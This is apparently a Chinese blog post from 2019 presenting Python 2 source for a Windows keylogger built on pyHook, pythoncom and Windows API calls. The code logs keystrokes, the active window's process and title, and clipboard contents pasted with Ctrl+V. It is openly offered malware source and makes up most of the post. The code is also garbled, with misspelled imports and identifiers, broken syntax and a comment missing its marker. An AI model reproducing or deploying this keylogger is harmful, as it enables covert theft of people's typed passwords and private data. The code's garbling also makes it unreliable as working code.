wgPython 2019-02-02
前言
Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。
# -*- coding: utf-8 -*- from ctypes inport import pythoncom import pyHook import win32clipboard user32 = winddll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = Note def get_current_process(): #获取最上层的窗句柄 hwnd = user32.GetForegroundWindow() #获取进程ID pid = c_ulong(0) user32. GetwindowThreadProcessId(hwnd,byref(pid)) #将进程ID存入变量中 process_ = "%d" % pid.value #申请内存 executable = create_string_buffer("\x00"*522) h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #读取窗口标题 windows_title = create_string_buffer("\x00",512) length = user32.GetWindowTextA(hwnd,byref(windows.title),512) #打印 print print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value) print #关闭handles kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) #关闭键盘监听事件函数 def KeyStroke(event): global current_window #检测目标窗口是否转移(换了其他窗口就监听新窗口) if event,WindowName !=current_window: current_window = event.WindowName #函数调用 get_current_process() #检测击键是否常规按键(非组合键等) if event.Ascii>32 and enent .Ascii <127 : print chr(event.Ascii), else: #如果发现ctrl + V事件,就粘贴板内容记录下来 if event.Key == "V" win32clipboard.OpenClipdoard() pasted_value = win32clipdoard. GetClipdoardData() win32clipdoard.CloseClipboard() print "[PASTE]-%s" %(pasted_value), else: print "[%s]" %event.Key, 循环监听下一个事件 return True #创建并注册hook管理器 kl = pyHook.HookManager() kl.KeyDown = KeyStroke #注册hook并兴趣 kl.hookKeyboard() pythoncom.PumpMessages()